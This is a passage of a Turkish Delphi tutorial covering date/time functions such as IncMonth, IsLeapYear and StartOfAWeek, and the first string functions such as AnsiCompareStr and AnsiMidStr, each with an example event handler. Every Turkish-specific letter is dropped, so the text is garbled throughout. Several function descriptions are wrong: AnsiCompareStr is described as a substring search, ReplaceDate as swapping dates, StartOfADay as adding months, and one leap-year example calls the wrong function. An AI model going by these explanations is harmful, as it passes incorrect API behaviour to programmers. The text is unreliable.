kinci parametreyle belirtilen tarihi, birinci parametreyle belirtilen formatl hale dntrr. Fonksiyondan dnen deer string tipte olduu iin direkt yazdrlabilir. procedure TForm1.Button35Click(Sender: TObject); var tarih:TDate; sonuc:AnsiString; begin tarih:=Date; sonuc:=FormatDateTime('dddd, mmmm d, yyyy',tarih); Form1.Caption:=sonuc;//perembe Temmuz 10 2003 yazar end; Tarihsel ierikli deikenleri formatlamak iin kullanabileceiniz baya seeneiniz var. Aada bu seeneklerden bazlarn tablo halinde sizlere vermeye alacam.

299

Format 'dddd, mmmm d, yyyy' mmmm d, yyyy ' mmmm yyyy' 'yyyy' 'dddd,d, mmmm yyyy' 'd, mmmm yyyy,dddd' Perembe Temmuz 10 2003 Temmuz 10 2003 Temmuz 2003 2003 Perembe 10 Temmuz 2003 10 Temmuz 2003 Perembe

Sonu

IncAMonth(yl,ay,gn):
Tanmlama: procedure IncAMonth(var Year, Month, Day: Word; NumberOfMonths: Integer = 1);

parametreyi birletirerek oluturaca tarih deerinden, bir ay sonrasnn tarihini hesaplayan fonksiyondur.

procedure TForm1.Button36Click(Sender: TObject); var tarih:TDateTime; yil,ay,gun:Word; begin yil:=2003; ay:=7; gun:=10; IncAMonth(yil,ay,gun);//ay artr ShowMessage(IntToStr(yil)+#13#10+IntToStr(ay)+#13#10+IntToStr(gun)); end; IncDay(tarih):
Tanmlama: function IncDay(const AValue: TDateTime; const ANumberOfDays: Integer = 1): TDateTime;

Parametre ile girilen tarih deerini, gn olarak bir artrmak iin kullanlan fonksiyondur. Fonksiyondan geriye dnen deer tarihsel ierikli olaca iin, yazdrabilmeniz ancak DateToStr fonksiyonu sayesinde olabilecektir. 300

procedure TForm1.Button37Click(Sender: TObject); var tarih:TDate; begin tarih:=Date; tarih:=incDay(tarih);// tarihi bir gn artr Form1.Caption:=DateToStr(tarih); end; IncMonth(tarih):
Tanmlama: function IncMonth(const Date: TDateTime; NumberOfMonths: Integer = 1): TDateTime;

Parametre olarak girilen tarih deiken ieriindeki ay bir artrarak yeni bir tarih deeri hesaplar. Fonksiyondan geriye tarih ierikli veri dnecei iin yazdrmak iin DateToStr fonksiyonundan faydalanmalsnz. procedure TForm1.Button38Click(Sender: TObject); var tarih:TDate; begin tarih:=Date; //10/07/2003 tarih:=incMonth(tarih); //ay bir artr Form1.Caption:=DateToStr(tarih); //10/08/2003 yazar end; IncWeek(tarih):
Tanmlama: function IncWeek(const AValue: TDateTime; const ANumberOfWeeks: Integer = 1): TDateTime;

Parametre olarak girilen tarih ierikli deikenin deerini bir hafta artrarak yeni bir tarih hesaplar. Fonksiyondan geriye dnen deer tarih ierikli olaca iin, yazdrmanz ancak DateToStr fonksiyonu sayesinde olabilecektir. procedure TForm1.Button39Click(Sender: TObject); var tarih:TDate; begin tarih:=Date; //10/07/2003 tarih:=incWeek(tarih); //haftay bir artr Form1.Caption:=DateToStr(tarih); //17/07/2003 yazar end; 301

IncYear(yl):
Tanmlama: function IncYear(const AValue: TDateTime; const ANumberOfYears: Integer = 1): TDateTime;

Parametre olarak girilen tarihsel deikenin deerini bir yl artrarak yeni bir tarih hesaplar. Fonksiyondan geriye dnen deer tarihsel ierikli olaca iin ancak DateToStr tip dntrme fonksiyonu sayesinde yazdrabilirsiniz. procedure TForm1.Button40Click(Sender: TObject); var tarih:TDate; begin tarih:=Date; //10/07/2003 tarih:=incYear(tarih); //Yl bir artr Form1.Caption:=DateToStr(tarih); //10/07/2004 yazar end; IsInLeapYear(yl):
Tanmlama: function IsInLeapYear(const AValue: TDateTime): Boolean;

Parametreyle girilen tarih ierikli deiken deerinin (drt ylda bir oluan 366 gn eken yl) 366 gn ekip ekmediini hesaplayabilen bir fonksiyondur. Fonksiyondan geriye dnen deer true veya false olabilecei iin ufak bir dallanmayla sonuca ulalabilir. ayet belirttiiniz tarih 366 gn ekiyorsa sonu true olacaktr. procedure TForm1.Button41Click(Sender: TObject); var tarih:TDate; sonuc:Boolean; begin tarih:=Date; //10/07/2003 sonuc:=IsInLeapYear(tarih);// 366 gnm ekiyor if sonuc then Form1.Caption:='Evet Bu Yl 366 Gn ekiyor' else Form1.Caption:='Hayr 365 Gn ekiyor';//Buras iler end;

302

IsLeapYear(yl):
Tanmlama: function IsLeapYear(Year: Word): Boolean;

Parametre olarak girilen tarihin 366 gn ekip ekmediini hesaplayan dier bir fonksiyondur. Yukardakinden tek fark parametre olarak tarih deikeni deil de, tam say tip deiken kullanmasdr. procedure TForm1.Button42Click(Sender: TObject); var sonuc:Boolean; begin sonuc:=IsInLeapYear(2006);//2003 yl 366 gnm ekiyor if sonuc then Form1.Caption:='Evet Bu Yl 366 Gn ekiyor' else Form1.Caption:='Hayr 365 Gn ekiyor'; end; IsToday(tarih):
Tanmlama: function IsToday(const AValue: TDateTime): Boolean;

Parametre olarak girilen tarih deikeninin, bugnn tarihine eit olup olmadn kontrol eden bir fonksiyondur. Fonksiyondan geriye dnen deer Boolean tip bir deikende saklanabilir. Bu deikenin deerinin true olmas girilen tarihin bugne eit olduu anlamn tamaktadr. procedure TForm1.Button43Click(Sender: TObject); var tarih:TDate; sonuc:Boolean; begin tarih:=StrToDate(Edit1.Text); sonuc:=IsToDay(tarih); if sonuc then Form1.Caption:='Girdiiniz Tarih Bugne Ait'; end; Fonksiyondan true veya false deerinin dndn hatrlatmakta fayda var. 303

IsValidDate(yl,ay,gun):
Tanmlama: function IsValidDate(const AYear, AMonth, ADay: Word): Boolean;

Parametre olarak girilen deiken deerlerinin srasyla tarih oluturup oluturamayacan hesaplayabilen bir fonksiyondur (ay deerinin 12 den byk olmas ve gn deerinin 31 den byk olmas gibi). Fonksiyondan geriye true deerinin dnmesi deikenlerin tarih oluturabilecei anlamn tamaktadr. procedure TForm1.Button44Click(Sender: TObject); var tarih:TDate; yil,ay,gun:word; sonuc:Boolean; begin sonuc:=IsValidDate(2003,10,10); if sonuc=true then begin tarih:=EncodeDate(2003,10,5); Form1.Caption:=DateToStr(tarih); end else Form1.Caption:='Girdiiniz deerler Tarih Oluturamaz'; end; sonuc:=IsValidDate(2003,10,10); satrn sonuc:=IsValidDate(2003,18,10); eklinde deitirirseniz Girdiiniz deerler Tarih Oluturamaz uyarsnn balnzda yazmasn salarsnz (18. ay yoktur da o yzden). MonthOf(tarih):
Tanmlama: function MonthOf(const AValue: TDateTime): Word;

Parametre ile belirtilen tarih deikeninin hangi aya ait olduunu hesaplayan fonksiyondur. Fonksiyondan geriye dnen deer tam say tipli bir deikene aktarlabilir. procedure TForm1.Button45Click(Sender: TObject); var tarih:TDate;deger:Word; begin tarih:=Date+5; deger:=MonthOf(tarih); Form1.Caption:=IntToStr(deger); end; 304

MonthOfTheYear(tarih):
Tanmlama: function MonthOfTheYear(const AValue: TDateTime): Word;

Parametreyle girilen tarih deiken deerinin hangi aya ait olduunu hasaplayan bir fonksiyondur. procedure TForm1.Button46Click(Sender: TObject); var tarih:TDate; deger:Word; begin tarih:=Date+5; //u anki tarih 11/07/2003 deger:=MonthOfTheYear(tarih); Form1.Caption:=IntToStr(deger); // 7 yazar end; MonthsBetween(tarih1,tarih2):
Tanmlama: function MonthsBetween(const ANow, AThen: TDateTime): Integer;

Parametre olarak belirtilen tarih deikenleri arasnda ka ay olduunu hesaplayan fonksiyondur. procedure TForm1.Button47Click(Sender: TObject); var tarih1,tarih2:TDate; fark:Integer; begin tarih1:=StrToDate('04.05.2002'); tarih2:=StrToDate('04.08.2003'); fark:=MonthsBetween(tarih1,tarih2); Form1.Caption:=IntToStr(fark); //15 yazar end; Fonksiyondan geriye dnen deer bir tamsay olduu iin IntToStr tip dntrme fonksiyonu kullanlarak fark kolayca yazdrlabilir. Yaplan hesaplamaya dikkat edecek olursanz girilen iki tarih arasndaki ay says bulunmaktadr.

305

Now():
Tanmlama: function Now: TDateTime;

O gne ait tarih ve saati yazdrabilen fonksiyondur. Fonksiyondan geriye tarih_zaman ierikli veri dnecei iin DataTimeToStr tip dntrme fonksiyonu kullanlarak yazdrlabilmektedir. procedure TForm1.Button7Click(Sender: TObject); var tarihzaman:TDateTime; begin tarihzaman:=Now; //tarh ve zaman beraber tutan deiken Edit1.Text:=DateTimeToStr(tarihzaman);//11/07/2003 11:07:19 yazar end; NthDayOfWeek(tarih):
Tanmlama: function NthDayOfWeek(const AValue: TDateTime): Word;

Parametre olarak girilen tarih deiken deerinin, ayn kanc haftasnda olduunu hesaplayan fonksiyondur. procedure TForm1.Button48Click(Sender: TObject); var tarih:TDateTime; deger:word; begin tarih:=Now; // 11/07/2003 deger:=NthDayOfWeek(tarih); //ayn kanc haftas Form1.Caption:=IntToStr(deger);// 2 yazar end; Fonksiyondan tam say tipli bir deer dnecei iin IntToStr tip dntrme fonksiyonu kullanlarak yazdrlabilir. RecodeDate(tarih1,yil,ay,gun):
Tanmlama: function RecodeDate(const AValue: TDateTime; const AYear, AMonth, ADay: Word): TDateTime

306

kinci, nc, drdnc parametreyle belirlenen deerleri birletirip, ilk parametre formatnda yeni bir tarih deeri oluturur. Fonksiyondan geriye dnen deer tarih-zaman ierikli olaca iin DateTimeToStr fonksiyonu kullanlarak yazdrlabilir. procedure TForm1.Button49Click(Sender: TObject); var tarih1,tarih2:TDateTime; yil,ay,gun:word; begin tarih1:=Now; //11/07/2003 yil:=2002; ay:=5; gun:=14; tarih2:=RecodeDate(tarih1,yil,ay,gun); Form1.Caption:=DateTimeToStr(tarih2);//14/05/2002 yazar end; RecodeYear(tarih,yil):
Tanmlama: function RecodeYear(const AValue: TDateTime; const AYear: Word): TDateTime;

kinci parametreyle belirtilen yl deerini, birinci parametredeki yln yerine yazarak yeni bir tarih hesaplar. procedure TForm1.Button50Click(Sender: TObject); var tarih1,tarih2:TDateTime; yil:word; begin tarih1:=Now; // 11/07/2003 yil:=1999; tarih2:=RecodeYear(tarih1,yil); Form1.Caption:=DateTimeToStr(tarih2); //11/07/1999 yazar end; Fonksiyondan geriye dnen deer, tarihsel ierik ierdii iin herhangi bir kontroln zerinde (kullancya gstermek amal) yazdrmak iin DateTimeToStr fonksiyonundan faydalanmalsnz. Dilerseniz DateToStr diyerek sadece tarih ksmn (saati yazdrmadan) yazdrabilirsiniz.

307

ReplaceDate(tarih1,tarih2):
Tanmlama: procedure ReplaceDate(var DateTime: TDateTime; const NewDate: TDateTime);

Parametre olarak belirtilen iki tarihin deerlerinin birbirleriyle deimesini salayan bir prosedrdr. procedure TForm1.Button51Click(Sender: TObject); var tarih1,tarih2:TDateTime; begin tarih1:=StrToDate('01.02.2003'); tarih2:=Date; //11/07/2003 ReplaceDate(tarih1,tarih2);//tarihleri deitir Form1.Caption:=DateToStr(tarih1);//11.07.2003 yazar end; StartOfADay(tarih,ay):
Tanmlama: function StartOfADay(const AYear, ADayOfYear: Word): TDateTime; overload; function StartOfADay(const AYear, AMonth, ADay: Word): TDateTime; overload;

Parametreyle belirtilen yla, yine ikinci parametreyle belirtilen say kadar ay ekler. procedure TForm1.Button52Click(Sender: TObject); var tarih:TDateTime; begin tarih:=StartOfADay(2003,6); Form1.Caption:=DateToStr(tarih); //06/01/2003 yazar end; Fonksiyondan geriye dnen deer tarihsel veri ierecei iin, kontrollerden herhangi birisinde yazdrlmas iin DateToStr tip dntrme fonksiyonundan faydalanmalsnz. Dilerseniz ayn ilemi aadaki gibi parametreyle de yapabilirsiniz. rnei dikkatlice inceleyiniz. nk fonksiyon opsiyonel parametre iermektedir.

308

procedure TForm1.Button52Click(Sender: TObject); var tarih:TDateTime; begin tarih:=StartOfADay(2003,3,10);//3 ay 10 gn ekle Form1.Caption:=DateToStr(tarih); //10/03/2003 yazar end; StartOfAMonth(yl,ay):
Tanmlama: function StartOfAMonth(const AYear, AMonth: Word): TDateTime;

Parametreyle belirtilen yla, yine ikinci parametreyle belirtilen adet kader ay ekler. procedure TForm1.Button53Click(Sender: TObject); var tarih:TDateTime; begin tarih:=StartOfAMonth(2003,6);//6 ay ekle Form1.Caption:=DateToStr(tarih);//01/06/2003 yazar end; StartOfAWeek(yl,hafta):
Tanmlama: function StartOfAWeek(const AYear, AWeekOfYear: Word; const ADayOfWeek: Word = 1): TDateTime;

Parametreyle belirtilen yla, ikinci parametreyle belirtilen hafta saysn ekler, yeni bir tarih hesaplar. procedure TForm1.Button54Click(Sender: TObject); var tarih:TDateTime; begin tarih:=StartOfAWeek(2003,3);// 3.haftay bul Form1.Caption:=DateToStr(tarih); //13/01/2003 yazar end; Fonksiyondan geriye dnen deer tarihsel ierik ierdiinden, yazdrmak iin DateToStr fonksiyonundan faydalanmalsnz.

309

StartOfAYear(yl):
Tanmlama: function StartOfAYear(const AYear): TDateTime;

Parametre ile belirtilen yln ilk gnne ait tarih deerini dndren fonksiyondur. Fonksiyondan geriye dnen deer tarihsel veri ierdii iin yazdrmak ancak DateToStr fonksiyonu sayesinde olabilecektir. procedure TForm1.Button55Click(Sender: TObject); var tarih:TDateTime; begin tarih:=StartOfAYear(2004); Form1.Caption:=DateToStr(tarih);//01/01/2004 yazar end; StartOfTheMonth(yl):
Tanmlama: function StartOfTheMonth(const AValue: TDateTime): TDateTime;

Parametre ile belirtilen tarihteki ilk gn bulmak iin kullanlan bir fonksiyondur (ay ve yl deimez sadece gnn deerini 1 yapar). procedure TForm1.Button56Click(Sender: TObject); var tarih:TDateTime; begin tarih:=StartOfTheMonth(Date); //11/07/2003 Form1.Caption:=DateToStr(tarih); //01/07/2003 yazar end; StartOfTheWeek(tarih):
Tanmlama: function StartOfTheWeek(const AValue: TDateTime): TDateTime;

Parametre olarak girilen tarihteki haftann ilk gnnn tarihini hesaplayan bir fonksiyondur. procedure TForm1.Button57Click(Sender: TObject); var tarih:TDateTime; begin tarih:=StartOfTheWeek(Date); //11/07/2003 Form1.Caption:=DateToStr(tarih); //07/07/2003 yazar end; 310

rnekte yer alan aktif tarih 11/07/2003 tr ve cuma gnne karlk gelmektedir. O haftaya ait Pazartesi (haftann ilk gn) gnnn tarihi ise 07/07/2003 tr. Bu yzden fonksiyon tarihin bulunduu haftaya ait ilk gn dndrecei iin sonu 07/07/2003 olacaktr. StrToDate(string_tarih):
Tanmlama: function StrToDate(const S: string): TDateTime; overload; function StrToDate(const S: string; const FormatSettings: TFormatSettings): TDateTime;

Parametre ile verilen string deikeni tarihsel veriye dntrmek kullanlan bir fonksiyondur. Dikkat edeceiniz husus parametre deerini tarihe eviremez ise programn hata vereceidir. procedure TForm1.Button58Click(Sender: TObject); var tarih:TDateTime; begin tarih:=StrToDate(Edit1.Text); //tarihe evir Form1.Caption:=DateToStr(tarih+10);//10 gn ekle end; StrToDateDef(tarih,varsaylan_tarih):
Tanmlama: function StrToDateDef(const S: string; const Default: TDateTime): TDateTime; overload; function StrToDateDef(const S: string; const Default: TDateTime; const FormatSettings: TFormatSettings): TDateTime; overload;

StrToDate fonksiyonu yanl tarih girildii zaman hata veriyordu. Bu fonksiyon ise yanl tarih girilmesi durumunda ikinci parametreyle belirtilen deeri tarih olarak kabul edecektir. Dolaysyla hata da vermeyecektir. procedure TForm1.Button59Click(Sender: TObject); var tarih:TDateTime; begin tarih:=StrToDateDef(Edit1.Text,Date); //Eer yanl tarih girilirse bugnk tarihi al Form1.Caption:=DateToStr(tarih); end;

311

Fonksiyonun yapt i Edit1 kutusuna tarihe dntrlemeyecek bir deerin girilmesi durumunda oluacak hatay engellemek ve (bir ok durumda bu gnk tarihin yazlmas iin bilerek yaptrlabilir) aktif tarihin ileme sokulmasn salamaktr. StrToDateTime(string_tarih):
Tanmlama: function StrToDateTime(const S: string): TDateTime; overload; function StrToDateTime(const S: string; const FormatSettings: TFormatSettings): TDateTime; overload;

Parametre ile belirtilen deikenin deerini tarih-zaman ierikli deikene aktarmak iin kullanlan bir fonksiyondur. procedure TForm1.Button60Click(Sender: TObject); var tarih:TDateTime; begin tarih:=StrToDateTime(Edit1.Text); //tarihe ve zamana evir Form1.Caption:=DateTimeToStr(tarih+10);//10 gn ekle end; StrToDateTimeDef(tarih_zaman,varsaylan_tarih_zaman):
Tanmlama: function StrToDateTimeDef(const S: string; const Default: TDateTime): TDateTime; overload; function StrToDateTimeDef(const S: string; const Default: TDateTime; const FormatSettings: TFormatSettings): TDateTime; overload;

Tip evirme ileminde hata oluursa (tarih girilmez veya yanl girilirse) ikinci parametre ile verilen deeri kabul ederek ilemlere devam eden fonksiyondur. procedure TForm1.Button61Click(Sender: TObject); var tarih:TDateTime; begin tarih:=StrToDateTimeDef(Edit1.Text,Now); //Eer yanl tarih girilirse uanki tarih ve zaman al Form1.Caption:=DateTimeToStr(tarih); end;

312

StrToTime(string_zaman):
Tanmlama: function StrToTime(const S: string): TDateTime; overload; function StrToTime(const S: string; const FormatSettings: TFormatSettings): TDateTime;

Parametre ile belirtilen string veriyi zamansal deere evirebilen bir fonksiyondur. ayet parametre deeri zamana evrilemiyorsa, programnz hata mesaj verecektir. procedure TForm1.Button62Click(Sender: TObject); var zaman:TDateTime; begin zaman:=StrToTime(Edit1.Text); //zamana evir Form1.Caption:=TimeToStr(zaman); end; Bu rnek iin Edit kutusuna (10:06:45) gibi saati gsteren bir deer girmelisiniz. StrToTimeDef(string_zaman,varsaylan_zaman):
Tanmlama: function StrToTimeDef(const S: string; const Default: TDateTime; const FormatSettings: TFormatSettings): TDateTime; overload; function StrToTimeDef(const S: string; const Default: TDateTime): TDateTime; overload;

StrToTime fonksiyonu Edit kutusuna yanl deer girildiinde krlyordu. Bu fonksiyonda yanl deer (zaman evrilemeyecek string) girilmesi durumunda ikinci parametreyle verilen zaman deeri kabul edilecek ve ilemler devam edecektir. Dolaysyla programn krlmasn da engellemi olacaksnz. procedure TForm1.Button63Click(Sender: TObject); var zaman:TDateTime; begin zaman:=StrToTimeDef(Edit1.Text,Time); //Yanl deer girilirse u anki zaman kabul et Form1.Caption:=TimeToStr(zaman); //Sadece Zaman Yaz end;

313

Time-GetTime:
Tanmlama: function Time: TDateTime; function GetTime: TDateTime;

ki fonksiyonu kullanarak da aktif saati renebilirsiniz. Fonksiyondan geriye dnen deer zaman ierikli olaca iin yazdrmak iin TimeToStr tip dnm fonksiyonunu kullanmalsnz.

procedure TForm1.Button64Click(Sender: TObject); var zaman1,zaman2:TDateTime; begin zaman1:=Time; zaman2:=GetTime; ShowMessage('Time='+TimeToStr(zaman1)+#13#10+ 'GetTime='+TimeToStr(zaman2)); end; TimeOf(zaman):
Tanmlama: function TimeOf(const AValue: TDateTime): TDateTime;

procedure TForm1.Button65Click(Sender: TObject); var zaman1,zaman2:TDateTime; begin zaman1:=Time; zaman2:=TimeOf(Now); ShowMessage('Time='+TimeToStr(zaman1)+#13#10+ 'TimeOf='+TimeToStr(zaman2)); end;

314

TimeToStr(tarih_zaman):
Tanmlama: function TimeToStr(Time: TDateTime): string; overload; function TimeToStr(Time: TDateTime; const FormatSettings: ): string; overload;

Parametre ile belirtilen tarih ve zamann sadece zaman ile ilgili ksmn string e evirip yazdrmak iin kullanlr. Aadaki rnekte TimeToStr ile DateTimeToStr arasndaki fark anlatlmtr.

procedure TForm1.Button66Click(Sender: TObject); var zaman:TDateTime; begin zaman:=Now; ShowMessage('TimeToStr='+TimeToStr(zaman)+#13#10+ 'DateTimeToStr='+DateTimeToStr(zaman)); end; Today:
Tanmlama: function Today: TDateTime;

Aktif tarihi (saatsiz olarak) yazdrmak iin kullanlan bir fonksiyondur. procedure TForm1.Button67Click(Sender: TObject); var tarih:TDateTime; begin tarih:=Today; //aktif tarihi zaman atar Form1.Caption:=DateTimeToStr(tarih);//11/07/2003 end; Fonksiyondan geriye dnen deer tarihsel ierikli olduu iin DateTimeToStr (DateToStr de olurdu) tip dntrme fonksiyonundan faydalanmalsnz. 315

Tomorrow:
Tanmlama: function Tomorrow: TDateTime;

Aktif tarihten (Date) bir gn sonraki tarihi bulmak iin kullanlan bir fonksiyondur (Date+1). procedure TForm1.Button68Click(Sender: TObject); var yarin:TDateTime; begin yarin:=Tomorrow; //Yarnki tarih Form1.Caption:=DateTimeToStr(yarin); end; WeekOf(tarih):
Tanmlama: function WeekOf(const AValue: TDateTime): Word;

Parametreyle belirtilen tarih deerinin yln kanc haftasna karlk geldiini hesaplayan bir fonksiyondur. procedure TForm1.Button69Click(Sender: TObject); var tarih:TDateTime; hafta:Word; begin tarih:=Now; //uanki tarih 11/07/2003 hafta:=WeekOf(tarih);//Yln kanc haftas Form1.Caption:=IntToStr(hafta)+ .hafta; //28 .hafta yazar end; WeekOfTheMonth(tarih):
Tanmlama: function WeekOfTheMonth(const AValue: TDateTime): Word; overload; function WeekOfTheMonth(const AValue: TDateTime; var AYear, AMonth: Word): Word; overload;

Bu da belirtilen tarih ierisinde o aya ait hangi haftada bulunulduunu hesaplayan bir fonksiyondur. Fonksiyondan geriye dnen deer tam say olduu iin yazdrlma ilemi ancak IntToStr tip dntrme fonksiyonu kullanlarak yaplabilir. 316

procedure TForm1.Button70Click(Sender: TObject); var tarih:TDateTime; hafta:Word; begin tarih:=Now; hafta:=WeekOfTheMonth(tarih); //ayn kanc haftas Form1.Caption:=IntToStr(hafta); end; WeeksBetween(tarih1,tarih2):
Tanmlama: function WeeksBetween(const ANow, AThen: TDateTime): Integer;

Parametre olarak girilen iki tarih arasndaki hafta saysn hesaplayan bir fonksiyondur. Fonksiyondan geriye dnen deer tam say olduu iin IntToStr tip dntrme fonksiyonu sayesinde yazdrlabilir. procedure TForm1.Button71Click(Sender: TObject); var tarih1,tarih2:TDateTime; adet:Word; begin tarih1:=StrToDate('01.03.2003'); tarih2:=StrToDate('01.05.2003'); adet:=WeeksBetween(tarih1,tarih2);//arada ka hafta var Form1.Caption:=IntToStr(adet)+' Hafta Fark Var'; //8 hafta fark var yazar end; WeeksInAYear(yl):
Tanmlama: function WeeksInAYear(const AYear: Word): Word;

Parametre ile girilen yln ka haftadan olutuunu hesaplayan fonksiyondur. Fonksiyondan geriye dnen deer tam say tipli olduu iin IntToStr fonksiyonu sayesinde yazdrabilirsiniz. procedure TForm1.Button72Click(Sender: TObject); begin Form1.Caption:=IntToStr(WeeksInAYear(2003));//52 yazar end; 317

YearOf(tarih):
Tanmlama: function YearOf(const AValue: TDateTime): Word;

Parametre olarak girilen tarih zaman deerinden sadece yla ait olan blm dndren fonksiyondur. Fonksiyondan geriye dnen deer tam say tipli olaca iin yazdrmak iin IntToStr fonksiyonundan faydalanmalsnz. procedure TForm1.Button73Click(Sender: TObject); var tarih:TDateTime; deger:word; begin tarih:=Now; deger:=YearOf(tarih);//sadece yl al Form1.Caption:=IntToStr(deger);//2003 yazar end; YearsBetween(tarih1,tarih2):
Tanmlama: function YearsBetween(const ANow, AThen: TDateTime): Integer;

Parametre ile belirtilen tarihlerin arasnda ka yl bulunduunu hesaplayan fonksiyondur. Fonksiyondan geriye dnen deer tam say tipli olaca iin yazdrmak iin IntToStr fonksiyonundan faydalanmalsnz. procedure TForm1.Button74Click(Sender: TObject); var tarih1,tarih2:TDateTime; deger:Integer; begin tarih1:=StrToDate('01.02.2003'); tarih2:=StrToDate('01.03.2006'); deger:=YearsBetween(tarih1,tarih2);//arada ka yl var Form1.Caption:=IntToStr(deger); //3 yazar end; ayet iki tarih arasndaki fark bir yldan kkse 0 deerini dndrecektir. Ayrca parametre olarak girilen tarih deikenlerinin yerlerini deitirmeniz sonucu deitirmeyecektir. nk bu fonksiyon sonucun mutlak deerini dndrmektedir (dier bir ok fonksiyon da byleydi zaten).

318

Yesterday:
Tanmlama: function Yesterday: TDateTime;

Bir nceki gne ait (date-1) tarihi hesaplayabilen bir fonksiyondur. Fonksiyondan geriye dnen deer tarih ierikli olaca iin yazdrmak ancak DateToStr tip dntrme fonksiyonu sayesinde olabilecektir. procedure TForm1.Button75Click(Sender: TObject); var tarih:TDateTime; begin tarih:=Yesterday;//nceki gnk tarihi al Form1.Caption:='nceki Gnk Tarih '+DateToStr(tarih); end;

319

String erikli Fonksiyonlar: Delphide string veriler zerinde ilem yapabilmenizi salayacak bir ok fonksiyon tanmlanmtr. Aada bu fonksiyonlar srasyla ilenmektedir. Dikkatlice inceleyiniz. AnsiCompareStr(aranacak_metin,iinde_aranacak)
Tanmlama: function AnsiCompareStr(const S1, S2: string): Integer;

Birinci parametreyle girilecek olan metni, ikinci parametrede aramak iin kullanlan bir fonksiyondur. ayet ilk parametre ikinci parametrenin ierisinde bulunuyorsa sonu pozitif, bulunmuyorsa negatif, iki metin ayn ise sfr deeri dnecektir. procedure TForm1.Button1Click(Sender: TObject); var metin,sonuc:AnsiString; sayi:Integer; begin metin:='Center'; sonuc:='Prestige Education Center'; sayi:=AnsiCompareStr(metin,sonuc); //iinde varm if sayi>0 then Form1.Caption:='inde Yok' else if sayi<0 then Form1.Caption:='inde Var' //buras iler else Form1.Caption:='kisi Ayn'; end; Fonksiyonun kullanmnda kk byk harf duyarllna dikkat etmelisiniz. Aksi takdirde yanl sonular yaratabilirsiniz. AnsiCompareText(aranacak_metin,iinde_aranacak)
Tanmlama: function AnsiCompareText(const S1, S2: string): Integer;

AnsiCompareStr fonksiyonuyla ayn ii yapar. Yalnz bu fonksiyonun kullanm kk byk harf duyarllna hassas deildir. Yani ali ile ALI nin ayn olduklar kabul edilecektir (Fonksiyondan geriye sfr deeri dnecektir). Aada bu husus rneklendirilmitir. 320

procedure TForm1.Button2Click(Sender: TObject); var metin,sonuc:AnsiString; sayi:Integer; begin metin:='Prestige'; sonuc:='PRESTIGE'; sayi:=AnsiCompareText(metin,sonuc); //iinde varm if sayi>0 then Form1.Caption:='inde Yok' else if sayi<0 then Form1.Caption:='inde Var' else Form1.Caption:='kisi Ayn'; //Buras iler end; AnsiCompareText fonksiyonunun kk byk harf duyarllnn olmadn belirterek dier fonksiyonlarn incelenmesine geiyorum. AnsiDequotedStr(metin,karakter)
Tanmlama: function AnsiDequotedStr(const S: string; AQuote: Char): string;

kinci parametreyle belirtilen karakteri, birinci parametreyle belirtilen metnin ilk harfinde arar. ayet bulursa ilk ve son karakteri atarak kalan deeri dndrr. procedure TForm1.Button3Click(Sender: TObject); var metin,sonuc:AnsiString; begin metin:='Prestige'; sonuc:=AnsiDequotedStr(metin,'P'); Form1.Caption:=sonuc; //restig yazar end; Fonksiyonda kullanlan parametre deerlerinin kk byk harf duyarllnn bulunduunu hatrlatp, dier fonksiyonlar incelemeye devem edeceim.

321

AnsiLeftStr(metin,adet) Bu fonksiyonu kullanabilmeniz iin uses satrna StrUtils ktphanesini eklemeniz gerekmektedir.
Tanmlama: function AnsiLeftStr(const AText: AnsiString; const ACount: Integer): AnsiString;

Bu fonksiyonla birinci parametreyle belirtilen metnin sol tarafndan, ikinci parametreyle belirtilen adet kadar karakter sklp alnabilir. Fonksiyondan geriye dnecek olan deer AnsiString tipli bir veri ierecei iin herhangi bir kontrolde direkt yazdrlabilir. uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls,StrUtils; procedure TForm1.Button4Click(Sender: TObject); //StrUtils eklemeyi unutmaynz. var metin,sonuc:AnsiString; begin metin:='Prestige'; sonuc:=AnsiLeftStr(metin,4);//ilk drt karakteri al Form1.Caption:=sonuc; //Pres yazar end; AnsiLowerCase(metin)
Tanmlama: function AnsiLowerCase(const S: string): string;

Parametre deeri ile girilen metni kk harfe evirmek iin kullanlan bir fonksiyondur. ayet parametre ierisinde kk harflerden oluan karakterlere rastlarsa onlara dokunmaz. procedure TForm1.Button6Click(Sender: TObject); var metin,sonuc:AnsiString; begin metin:='NIHAT DEMIRLI'; sonuc:=AnsiLowerCase(metin);//kk harfe evir Form1.Caption:=sonuc;//nihat demirli yazar end; 322

AnsiMidStr(metin,balang,kaadet)
Tanmlama: function AnsiMidStr(const AText: AnsiString; const AStart, ACount: Integer): AnsiString;

Birinci parametre ile belirtilen metinden, ikinci parametredeki karakterden sonra, nc parametre ile belirtilen say kadar karakteri skp alr. Fonksiyondan geriye dnen deer AnsiString tipte bir veri olaca iin kolayca yazdrlabilir. uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls,StrUtils;//Eklemeyi unutmaynz procedure TForm1.Button7Click(Sender: TObject); //StrUtils eklemeyi unutmaynz. var metin,sonuc:AnsiString; begin metin:='Prestige Education Center'; sonuc:=AnsiMidStr(metin,2,3);//2. karakterden sonraki karakteri al Form1.Caption:=sonuc;//res yazar end; imdi aadaki gibi bir uygulamayla formunuzun balnda kayan yaz oluturabilirsiniz. rneimiz iin formunuzun balna gerekli olan metni ekleyip bir adet de Timer kontrol yerletirmeniz yeterli olacaktr.

uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls,StrUtils;//Eklemeyi unutmaynz.

323

Aadaki kodlar eklemi olduunuz Timer kontrolnn Timer yordamna yazp programnz altrabilirsiniz. Formunuzun balna (properties penceresinde yer alan Caption zelliine) atam olduunun metnin devaml hareket ettiini greceksiniz. procedure TForm2.Timer1Timer(Sender: TObject); //Kayan Yaz Olutur var ilk,metin,son:AnsiString; uzunluk:Integer; begin metin:=Form2.Caption; uzunluk:=Length(metin);//metnin uzunluunu bul ilk:=AnsiLeftStr(metin,1);//soldan bir karakteri sk al son:=AnsiMidStr(metin,2,uzunluk-1);//ik karakterden sonraki tm karakterler Form2.Caption:=son+ilk;//yanyana yaz end; AnsiPos(aranacak_metin,iinde_aranan_metin)
Tanmlama: function AnsiPos(const Substr, S: string): Integer;

